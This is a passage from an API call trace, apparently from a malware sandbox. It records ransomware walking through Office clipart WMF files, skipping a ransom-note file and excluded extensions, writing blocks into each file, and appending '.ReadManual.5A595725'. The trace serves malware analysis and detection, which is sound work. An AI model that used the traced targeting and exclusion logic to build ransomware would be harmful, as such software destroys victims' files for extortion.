returned 1 [0260.784] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.784] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.784] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.784] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.784] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.784] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.784] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.784] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.784] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.784] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.784] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.784] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" [0260.784] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.ReadManual.5A595725" [0260.784] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.ReadManual.5A595725") returned 87 [0260.784] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38145313498) returned 1 [0260.784] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x20 [0260.785] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.785] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4164) returned 1 [0260.785] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1044, lpName=0x0) returned 0x184 [0260.785] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.785] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.786] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.787] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.787] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1044) returned 0x2f0000 [0260.787] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.787] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38145625608) returned 1 [0260.788] CloseHandle (hObject=0x184) returned 1 [0260.788] SetSecurityInfo () returned 0x57 [0260.788] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.788] CloseHandle (hObject=0x194) returned 1 [0260.788] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac309900, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac309900, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0260.788] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00296_.WMF" | out: lpString1="BL00296_.WMF") returned="BL00296_.WMF" [0260.788] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.788] StrStrIW (lpFirst="BL00296_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.789] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.789] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.789] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.789] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.789] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.789] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.789] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.789] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.789] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.789] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.789] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.789] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.789] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.789] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.789] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" [0260.789] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.ReadManual.5A595725" [0260.789] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.ReadManual.5A595725") returned 87 [0260.789] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38145781139) returned 1 [0260.789] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x20 [0260.789] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.790] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=812) returned 1 [0260.790] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x32c, lpName=0x0) returned 0x184 [0260.790] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.790] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.790] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.794] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.795] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x32c) returned 0x2f0000 [0260.795] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.795] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38146344374) returned 1 [0260.795] CloseHandle (hObject=0x184) returned 1 [0260.795] SetSecurityInfo () returned 0x57 [0260.795] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.795] CloseHandle (hObject=0x194) returned 1 [0260.796] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf533800, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf533800, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0260.796] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00390_.WMF" | out: lpString1="BL00390_.WMF") returned="BL00390_.WMF" [0260.796] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.796] StrStrIW (lpFirst="BL00390_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.796] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.796] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.796] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.796] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.796] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.796] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.796] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.796] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.796] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.796] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.796] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.796] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.796] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.796] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.796] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" [0260.796] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.ReadManual.5A595725" [0260.796] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.ReadManual.5A595725") returned 87 [0260.796] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38146490455) returned 1 [0260.796] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x20 [0260.798] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.799] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13102) returned 1 [0260.799] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x332e, lpName=0x0) returned 0x184 [0260.799] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.799] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.799] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.801] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.801] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x332e) returned 0x2f0000 [0260.802] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.802] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38147046034) returned 1 [0260.802] CloseHandle (hObject=0x184) returned 1 [0260.802] SetSecurityInfo () returned 0x57 [0260.802] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.802] CloseHandle (hObject=0x194) returned 1 [0260.803] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf0de00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcf0de00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0260.803] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00392_.WMF" | out: lpString1="BL00392_.WMF") returned="BL00392_.WMF" [0260.803] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.803] StrStrIW (lpFirst="BL00392_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.803] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.803] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.803] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.803] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.803] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.803] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.803] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.803] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.803] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.803] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.803] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.803] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.803] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.803] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.803] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" [0260.803] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.ReadManual.5A595725" [0260.803] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.ReadManual.5A595725") returned 87 [0260.803] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38147203337) returned 1 [0260.803] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x20 [0260.803] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.804] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=27050) returned 1 [0260.804] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x69aa, lpName=0x0) returned 0x184 [0260.804] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.804] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.804] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.806] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.806] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x69aa) returned 0x2f0000 [0260.806] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.806] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38147527706) returned 1 [0260.807] CloseHandle (hObject=0x184) returned 1 [0260.807] SetSecurityInfo () returned 0x57 [0260.807] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.807] CloseHandle (hObject=0x194) returned 1 [0260.808] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65d6900, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd65d6900, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0260.808] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00524_.WMF" | out: lpString1="BL00524_.WMF") returned="BL00524_.WMF" [0260.808] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.808] StrStrIW (lpFirst="BL00524_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.808] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.808] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.808] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.808] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.808] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.808] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.808] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.808] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.808] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.808] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.808] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.808] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.808] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.808] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.808] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" [0260.808] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.ReadManual.5A595725" [0260.808] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.ReadManual.5A595725") returned 87 [0260.808] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38147691988) returned 1 [0260.808] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x20 [0260.808] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.809] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6996) returned 1 [0260.809] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b54, lpName=0x0) returned 0x184 [0260.809] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.809] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.809] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.811] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.811] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b54) returned 0x2f0000 [0260.811] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.811] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38148025834) returned 1 [0260.812] CloseHandle (hObject=0x184) returned 1 [0260.812] SetSecurityInfo () returned 0x57 [0260.812] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.812] CloseHandle (hObject=0x194) returned 1 [0260.812] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd52c3c00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd52c3c00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0260.813] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00525_.WMF" | out: lpString1="BL00525_.WMF") returned="BL00525_.WMF" [0260.813] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.813] StrStrIW (lpFirst="BL00525_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.813] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.813] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.813] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.813] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.813] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.813] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.813] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.813] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.813] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.813] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.813] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.813] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.814] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.814] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.814] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" [0260.814] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.ReadManual.5A595725" [0260.814] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft 